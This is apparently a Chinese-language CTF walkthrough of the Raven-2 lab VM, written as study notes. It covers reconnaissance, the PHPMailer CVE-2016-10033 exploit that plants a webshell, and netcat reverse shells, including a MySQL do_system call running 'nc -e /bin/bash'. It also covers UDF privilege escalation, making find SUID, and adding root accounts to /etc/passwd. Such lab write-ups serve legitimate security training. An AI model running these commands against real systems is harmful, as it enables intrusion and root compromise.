项目三:Raven-2
#Shell、Bash、Zsh的联系与区别
---Shell(壳):之所以叫壳,是为了和计算机的“核”来区分,用它表示“为使用者提供的操作界面”,hell也会泛指所有为用户提供操作界面的程序
---分为两类:命令行(CLI)与图形界面(GUI)
---按迭代分为:sh 、bash 、Zsh

---查看本地Shell命令
---当前shell为zsh,按道理一般都是zsh,不知道为什么要切换bash
---bash上手快,基本直接就可以使用,更适合做脚本解释器;但是zsh则需要繁杂的配置

#nmap扫描
---同网段主机扫描: nmap -sP 192.168.180.0/24

---Windows主机在VM8的IP:192.168.180.1
---那么192.168.180.2和192.168.180.254分别是我的光猫(接的电视)和路由器(接在光猫上),然后我的Windows主机接在路由器上
---靶机的地址:192.168.180.136

---扫描全端口和OS:nmap -sS 192.168.180.136 -p- -sV -O

---先访问80的Web,可以看看源码、页脚、主页内容等是否存在网站的框架信息

---首先,我们利用WhatWeb识别Web的一些信息,是不是CMS

---查看数据包,这里也没有识别出什么信息

---采用dirb爆破Web的后台目录和敏感文件,并且存在dirb.txt文件中:
---打开文件发现存在vendor目录,以及wordpress目录等
---所以这很可能是一个叫wordpress的CMS
---192.168.180.136:80/wordpress/wp-admin/因该是管理员登陆界面,但是我直接访问失败

---但是我访问http://192.168.180.136:80/wordpress/wp-admin/admin.php却被重定向了
---但是通过网站后台爆破,发现了是PHP语言,很可能是WordPress(WordPress这个世界上最受欢迎的博客构建平台之一,PHP语言开发)

---参考Think PHP5的框架
---application:应用目录(可设置),主要是配置文件,如数据库配置(
database.php
)、应用(公共)配置文件
(config.php
)、路由配置文件(
route.php
)、应用公共(函数)文件(
common.php
)
---
extend:扩展类库目录(可定义)
---
public:WEB 部署目录(对外访问目录),如
static静态资源存放目录(css,js,image)、
应用入口文件
(index.php)、快速测试文件(
router.php
)、.htaccess 用于 apache 的重写
---
runtime:应用的运行时目录(可写,可设置)
---
vendor:第三方类库目录(Composer)
---
thinkphp:框架系统目录

---dirb默认使用的爆破字典 /usr/share/dirb/wordlists/common.txt

---点击logo会进入Wordpress界面

#在192.168.180.136/vendor/存在目录遍历漏洞
---很多网站功能设计人员会把需要访问的文件定义成变量,以此使前端功能更加灵活
---当用户发起一个前端请求时,文件变量传递到后台,后台再执行其对应的文件
---后台没有对前端传过来文件变量进行审核,攻击者会通过“../”的方法打开或执行其他文件
---从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞
---这里的话,因该是配置失误(该目录下没有设置首页),以及网站没有禁止目录浏览

---点击PATH路径:http://192.168.180.136//vendor/PATH
---这里发现网站的根目录:/var/www/html/

---点击Readme.md(网站的建站描述附件)
---发现网站存在一个插件:PHPMailer(用于发送电子邮件的 PHP 插件)

---在http://192.168.180.136//vendor/SECURITY.md发现关于PHPMailer的漏洞提示
---http://192.168.180.136//vendor/VERSION中提示:5.2.16(可能是PHPMailer的版本)
#思路1:根据PHPMailer5.2.16版本的exp进行Webshell获取

---谷歌搜索:phpmailer5.2.16 exploit,发现远程命令执行

---查看exp:EDB-ID:40974;CVE:2016-10033
---1.下载漏洞环境;2.在Payload里面配置IP和端口;3.在Kail监听端口;4.运行python的exp
---查找漏洞库,将exp复制到用户目录下
---locate,定位的意思,作用是让使用者可以快速的搜寻系统中是否有指定的文件
---
1)"locate"的速度比"find"快,因为它并不是真的查找文件,而是查数据库
---2) 新建的文件,我们立即用"locate"命令去查找,一般是找不到的,因为数据库的更新不是实时的,数据库的更新时间由系统维护
---3) "locate"命令所搜索的后台数据库在"/var/lib/mlocate"这个目录下,可能有些Linux系统位置不同,具体我们可以用"locate locate"查询
---4) 我们可以用"updatedb"命令来更新数据库,这样就能查询到刚才新建的文件了

---locate命令的用法
---进入/home/huangbo目录,然后利用vi打开(gedit打开不了)
---将目标地址的IP和位置,当我们访问contact.php的时候,就会生成huangbo.php的后门

---修改PHP系统执行的代码,将shell设置为Kail的IP地址和端口,
---下面也要修改后门的名称,并且存放在网站根目录

---利用Python3执行:python 40974.py,发现返回200,文件生成成功

---重开一个终端,监听6666端口:nc -lvp 6666
---然后去浏览器访问 http://192.168.180.136/contact.php就会生成huangbo.php
---然后直接访问http://192.168.180.136/huangbo.php,发现监听的端口收到反弹shell

---将伪Shell提升到Pty:python -c 'import pty;pty.spawn("/bin/bash")'

#linux关于进程挂起和恢复的命令
---gedit使用ctrl +Z进程挂起

---用jobs查看其运行的号码,发现只有一个后台程序,其后代号码为1

---使用bg 1让其运行在后台,可以看到这个程序又开始在后台运行了

---fg 1让他运行在前台,这样我们可以看到这个程序的进程,但也必须得去处理在个程序

#stty命令:用来改变并打印终端行设置的常用命令
---stty raw是设置终端为原始模式。在原始模式下,终端不会对输入进行特殊处理,字符将被直接传递给程序。特殊字符(如 Ctrl+C 或 Ctrl+Z)不会产生默认行为,直接传递给程序处理
----echo
是 stty
命令的用于禁止回显,在用户输入字符时,终端会将字符显示在屏幕上
---我这里有问题,fg恢复进程后没有弹出shell(在Kail本机上也是这样),我输入回车的时候变成了^M
又是一些奇怪的编码问题

---上网查了一下,发现别人也遇到了这个问题
---弹shell到阿里云上,然后重复上面的步骤,当我执行到重置stty的时候,它会像卡了一样,但其实不是它卡了,而是我们重置的原因我们看不到输入的内容,但是实际上还是在输入(这就像你输入密码的时候一样),输入fg回车

---查看当前终端和stty信息

---紧接着reset执行刷新一下屏幕,看着更和谐;
---它会询问你终端类型,根据第一步的信息来输入

---按回车之后,shell变成了bash
---注意:这里仅限/bin/bash模式才能使用stty

---设置环境变量
#find命令:在指定目录下查找文件
---格式:find 目录 -选项 动作[-print -exec -ok ...]
---常用选项
---常用动作
---查找根目录下的包含flag的文件,
---*表示通配符,一般用[a-z],[0-9],[A-Z],[a-z0-9]

---这里匹配到了flag2.txt和flag3.png,其它的被拒绝是由于不是root用户,需要进行提权

---查看flag2.txt

---浏览器访问flag3.png

---进入wordpress的目录,config文件是最重要的
---config、conn、sql、data、inc、database等也是可能存在数据库密码

----cat wp-config.php,里面存在数据库名和密码(但是一般网站的数据库都拒绝远程登陆)
---这里发现了数据库是Mysql数据库

---nmap扫描发现3306端口没有打开,但是可以通过shell直接登陆Mysql

#Mysql的UDF提权
---:mysql -uroot -pR@v3nSecurity //登陆Mysql
---:select version(); //查看版本

---Mysql主要存在以下几种:

----查看数据库,里面存在者三个表:information_schema 、mysql、performance_schema是Mysql自带的数据库,wordpress是Web的数据库
---INFORMATION_SCHEMA(5.6之前需要手动开启,从5.6开始默认开启,任何用户可见)
---提供对数据库元数据的访问 ,有关MySQL服务器的信息(例如数据库或表的名称),列的数据类型或访问权限。有时用于此信息的其他术语是 数据字典和 系统目录
---MYSQL:保存有账户信息,权限信息,存储过程,event,时区等信息
---PERFORMANCE_SCHEMA:该数据库中的表 以查看有关服务器性能特征及其运行的应用程序的实时信息,有关详细信息

---查看Web数据的表

---获取到网站的用户名和密码

---尝试破解密码失败

---查看Mysql是否是root权限运行
---ps a 显示现行终端机下的所有程序,包括其他用户的程序
---ps u 以用户为主的格式来显示程序状况
---ps x 显示所有程序,不以终端机来区分。
---所以,ps aux就是打印所有进程(后面是关于mysql的进程)
---3306端口执行的是root权限

---dpkg用于:管理系统的里deb包,可以对其安装、卸载、deb打包、deb解压等操作
---显示安装关于mysql包的版本:dpkg -l |grep mysql

---查看secure_file_priv的值
---secure_file_priv是用来限制load dumpfile,into outfile,load_file()函数在哪个目录下拥有上传或者读取文件的权限(文件导入导出功能)
---show global variables like 'secure%';
---这里发现secure_file_priv没有具体值,也就是MySQL数据库的自定义函数load dumpfile,into outfile,load_file()函数在任何目录下都可以执行,可以提权

---当然, secure_file_priv的值也可以修改,打开my.cnf 或 my.ini,修改后重启mysql
---也可以使用:show global variables like '%secure_file_priv%';
---如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

---查看名为plugin的字符:show variables like '%plugin%';
---/usr/lib/mysql/plugin/是插件的意思,插件库文件必须位于MySQL插件目录中(由plugin_dir系统变量命名的目录)

---查看Mysql是否能够远程登陆(emmm端口都没开,肯定不能访问)
---进入mysql数据库,然后查看表:
---user:包含用户账户和全局权限及其他非权限列表;db:数据库级别的权限表;
---tables_priv:表级别的权限表;columns_priv:列级别的权限表;
---proces_priv:存储过程和函数权限表;proxies_priv:代理用户权限表;

---查看user里面的user和host的列,这里发现只能本地访问
---如果可以远程登陆,可以使用MSF进行UDF提权

---在网上搜索到可以赋予用户远程访问权限
grant all privileges on 库名.表名 to '用户名'@'IP地址' identified by '密码' with grant option;

---赐予kail靶机访问Mysql的远程登陆权限,并且设置用户名和密码
grant all privileges on *.* to 'huangbo'@'192.168.180.133' identified by '123456' with grant option;

---发现现在应该可以远程登陆了(如果不想限制主机登陆,设置为'%'就可以)

---刷新数据库的权限,不然容易失败

---在kail上面远程登陆,但是失败了,猜测的原因是3306端口没打开

---谷歌搜索exp进行本地提权:MySQL5.x UDF exploit
---MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
---EDB-ID:1518(这里说Mysql的4.x到5.0,但是我们5.5.60版本也能使用emmmm)
---这里就是一个链接库,放到/usr/lib/mysql/plugin/目录下,就会执行下面的函数进行提权
---在exp文件中,我们定义了名为do_system的mysql函数,该函数可以执行系统任意命令。
---如果我现在在Mysql的命令行中输入‘do_system(‘dir’);’的话,系统会提示do_system函数未定义
---因为我们仅仅是把exp放在了一个地方,但是并没有在Mysql中引入exp中的函数
---大致流程如下:

---进入靶机的/usr/lib/mysql/plugin/目录,发现Mysql的插件都是以.so文件的形式
---我们也需要将C++语言的exp编译成.so的文件

---回顾以下编译的过程
#编译的过程
---步骤一:预处理(预编译):编译处理宏定义等宏命令———生成后缀为“.i”的文件
---步骤二:编译:将预处理后的文件转换成汇编语言———生成后缀为“.s”的文件
---步骤三:汇编:由汇编生成的文件翻译为二进制目标文件———生成后缀为“.o”的文件
---步骤四:连接:多个目标文件(二进制)结合库函数等综合成的能直接独立执行的执行文件———生成后缀为“.out”的文件

---gcc常用参数
---这里进行了2次编译过程
---gcc参数:-c 表示仅仅汇编及编译代码,不进行链接。也就是将源代码编译成.o文件;-g显示调试信息
---:share使用动态链接库;将.o的文件编译成.so的文件
---这条命令将前面生成的目标文件raptor_udf2.o
与-lc
选项指定的C标准库(libc)链接起来,并生成一个名为raptor_udf2.so
的共享库
----Wl,-soname,raptor_udf2.so
用于指定共享库的soname(共享对象名称),-o raptor_udf2.so
用于指定生成的共享库的输出文件名
---在Linux系统中,共享库文件通常有两个名称:实际文件名(参数-o)和soname。实际文件名是共享库的文件系统名称,而soname是用于动态链接的名称
---使用-o
选项指定输出文件名足以生成共享库,而-Wl,-soname
选项是可选的,用于显式地指定共享库的soname,以满足特定的需求或要求(感谢Chatgpt!!!)
---根据漏洞编号查找exp的位置

---将exp复制到用户目录下,并且开启http服务

---靶机在/tmp目录下下载exp

---直接在靶机编译出错了

---在Kail上编译好了再发送到靶机
----lc:表示编译c文件,链接c库,gcc默认编译c文件和链接c库,当编译c文件时可以不用额外加该选项(这里应该是链接的意思)

---靶机下载并且赋予执行权限

----在mysql数据库,创建dayu的表
---这里是创建名为dayu的表,存一列名为:line,类型是blob(BLOB类型的字段用于存储二进制数据)
---MySQL的四种BLOB类型:类型 大小(单位:字节)
---1.TinyBlob 最大 255
---2.Blob 最大 65K
---3.MediumBlob 最大 16M
---4.LongBlob 最大 4G

---查看创建的表的格式(selet查看不了,因为是空表)
---desc是MySQL中的一个命令,全称为describe,用来查看表结构的详细信息。通过desc命令可以查看表中各个字段的数据类型、是否可以为空等信息

---在表里面插入数据:insert into dayu values(load_file('/tmp/dayu.so'));
---但是这里直接查看是乱码(这里因该是将dayu.so文件加载到了dayu表中的line列的值)

---将dayu表里面line列的值,导出到/usr/lib/mysql/plugin/目录下
---为什么不直接将dayu.so文件放到/usr/lib/mysql/plugin/目录下呢?是因为用Mysql导出的文件,是具有root权限,所以dayu.so文件执行里面的do_system()函数才会以root权限执行
---采用dumpfile函数把文件导出,outfile 多行导出,dumpfile一行导出
---outfile会有特殊的转换,而dumpfile是原数据导出!
---select * from dayu into dumpfile '/usr/lib/mysql/plugin/dayu.so';

---接下来我们要加载我们dayu.so(动态链接库)文件的自定义的do_system()函数
---定义了一个名为do_system
的函数,该函数返回integer的整数值
---do_system
是一个自定义函数,它利用dayu.so
共享库中的功能来执行一些系统级操作,且该函数依赖于dayu.so
共享库(/usr/lib/mysql/plugin/目录下)
---这里导出so文件和根据导出的dayu.so文件创建自定义函数成功了
---create function do_system returns integer soname 'dayu.so';

---查询Mysql数据库的func表: select * from mysql.func;

---调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令:
---为什么要使用find命令呢?因为find命令可以在查找到文件后,可以执行命令

---查看find的安装位置、创建用户,以及是否拥有Suid权限
---如果存在SuiD就可能会存在SUID提权,-u=s代表SUID权限
--- 查找有suid属性权限的文件:find / -perm -u=s -type f 2>/dev/null
---2>/dev/null
:将错误输出(stderr)重定向到空设备,丢弃任何错误消息(0,1,2分别代表:标准输入、标准输出、标准错误)

---能够使用SUID提权的三个命令:cp、find、vim
#/etc/passwd知识点
---/etc/passwd的功能(所有用户均可读/etc/passwd,只有超级用户可以写/etc/passwd):
---所有用户的用于读取的必要信息,包括用户的①名称②登录口令情况③用户ID④所属组ID⑤用户的全称等其它详细信息⑥用户的home目录⑦用户的默认登录shell
---登录口令部分:设置了登录口令,则填入x;没有设置登录口令,则填入空。
---用户ID部分。一般情况,超级用户是0,系统用户是1~499,普通用户是500~65535
---组标识号:记录用户所属的用户组。它对应着 /etc/group
文件中的一条记录
---默认shell:登录 Shell用户登录后启动的进程,也就是用户与 Linux 系统之间的接口

---Linux 提供了一些管理 /etc/passwd
文件的命令:

#SUID提取知识点
---这里发现UDF提权本身是SUID提权的一种

---通过自定义的为find文件赋予Suid权限
select do_system('chmod u+s /usr/bin/find');

---查看find文件的权限,发现多了一个s即SUID权限

---使用find命令进行命令执行,以\结束,发现获取root权限

---但是我使用bash就不行,这是由于bash和zsh都是比sh更高级的交互式shell,在在以SUID权限执行时会忽略该权限,以防止潜在的安全风险
---即使find
具有SUID权限,/bin/bash
在启动时仍会放弃这些权限,因此无法以root权限运行
---所以进行SUID提权的时候,都是使用的/bin/sh

---这里也可以使用Mysql的do_system函数直接将数据反弹给Kail的/bin/bash
---这里进行反弹的话,bash的shell比sh的更高级,还是root权限,就不需要进行SUID提权
select do_system('nc -nv 192.168.95.128 6677 -e /bin/bash');
---其中 -n
表示禁用 DNS 解析,-v
表示显示详细的调试信息
---其中 -e
表示在建立连接后,将输入输出绑定到指定的程序,即将本地主机的输入和输出流重定向到远程主机上执行的 /bin/bash

---监听kail的6677,发现是root权限(这种方式比SUID提权更好用),
---这里再次尝试了下stty raw -echo,还是不行

#补充
---将dayu的密码,进行OpenSSL 使用的是 salted SHA-512
算法加密
---dayu
是要生成密码的明文输入,OpenSSL 会生成一个 salt
值,并将 dayu
和 salt
进行哈希运算,生成最终的密码哈希值:$1$IiOr8zAZ$sLjDz3OQS/wc/RACpdJVR1

---关于SHA的简介(和MD5一样直接加密)

---构建/etc/passwd的用户(这里和cp的SUID提权一模一样)
select do_system('echo "dayu:$1$IiOr8zAZ$sLjDz3OQS/wc/RACpdJVR1:0:0:root:/root:/bin/bash" >> /etc/passwd');
---将dayu用户,并且密码为dayu的,赋予root权限,以及/bin/bash的shell

---查看cat /etc/passwd
---/wc/RACpdJVR1
: 这是密码字段,通常在现代系统中是密码的加密哈希值

---登陆dayu用户,这里授权失败
---可能的原因:这里我是在kail上面生成的密钥,因该在靶机上生成;也可能是不能使用openssl的默认的SHA-256加密,而是使用MD5加密

---在靶机,用openssl对abcd的明文,结合字符串'123'的盐,进行MD5加密
---加密结果:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1

---在Mysql构建命令执行写入特权用户:
select do_system('echo "huangbo:$1$1*2*3$GDXeco9uaGB.Q0i0wsFCA1:0:0:root:/root:/bin/bash" >> /etc/passwd');

---登陆,发现失败了,不知道怎么回收

#拓展如果可以远程登陆MYSql
mysql_udf_payload
sqlmap -d "mysql://root:root@192.168.245.130:3306/mysql" --os-shell
#知识点总结:
---1.Linux的三种shell,/bin/sh;/bin/bash/;/bin/sh(SUID提权一般使用/bin/sh)
---2.dirb爆破Web后台目录以及敏感文件,访问目录发现目录遍历漏洞(vendor:PHP中存放第三方库的目录)以及CMS(wordpress存在特点的目录结构/wordpress/wp-admin/)
---3.目录遍历漏洞的原因:没有禁止目录流量以及对前端传输的包含../../的文件未过滤
---4.在readme.txt中查看敏感信息,发现Web的插件phpmailer5.2.16(思路:1.目录遍历漏洞收集信息2.识别CMS寻找exp3.识别Web插件寻找漏洞)
---5.修改phpmailer5.2.16 exp的内容
---6.loacte和searchsploit配合使用复制exp
---7.config、conn、sql、data、inc、database等敏感配置文件查找数据库的用户名和密码
---8.Mysql提权的三种方式:UDF提权(区分5.1版本),MOF提权(win2003),开机自启动提权(感觉不实用)
---9.secure_file_priv的值的功能:NLL;/tmp;没有值(只有这个可以提权),show global variables like 'secure%';//注意:这个是全局变量
---10.grant all privileges on 库名.表名 to '用户名'@'IP地址' identified by '密码' with grant option;赋予远程用户Mysql登陆权限
---11.编译的4个过程:预处理(处理宏,生成.i文件),编译(转换成汇编,生成.s文件),汇编(汇编生成二进制文件),链接(将多个链接库结合,生成.out文件)
---12.Mysql的链接库目录:/usr/lib/mysql/plugin/;如何通过在mysql数据中,创建blob类型的列的表来存储二进制文件?采用load_file()加载二进制文件和insert to将数据插入表;采用into dumpfile导出表中的数据到特定的目录文件;根据Mysql链接库,导出设置自定义命令执行函数
---13.find命令的7种用法:1.按照文件名或正则表达式查找2.按不同文件类型查找3.按照时间戳查找文件4.按照大小查找文件5.按照权限查找文件6.按照所属用户权限查找7.查找后执行命令
---14./etc/passwd的功能(用户均可读,root可以写):包括用户的①名称②登录口令情况③用户ID④所属组ID⑤用户的全称等其它详细信息⑥用户的home目录⑦用户的默认登录shell
---15.SUID提权的三种方式1.cp修改/etc/passwd提权2.find提权(最好用)3.vim修改/etc/sudoes提权
---16.Mysql命令执行,通过nc -nv -e将数据发送到kail的/bin/bash
---17.Python通过pty提升到/bin/bash,通过stty raw -echo进一步提升shell
---18.openssl 通过md5加密获取明文密码,写入/etc/passwd,su进行用户登陆
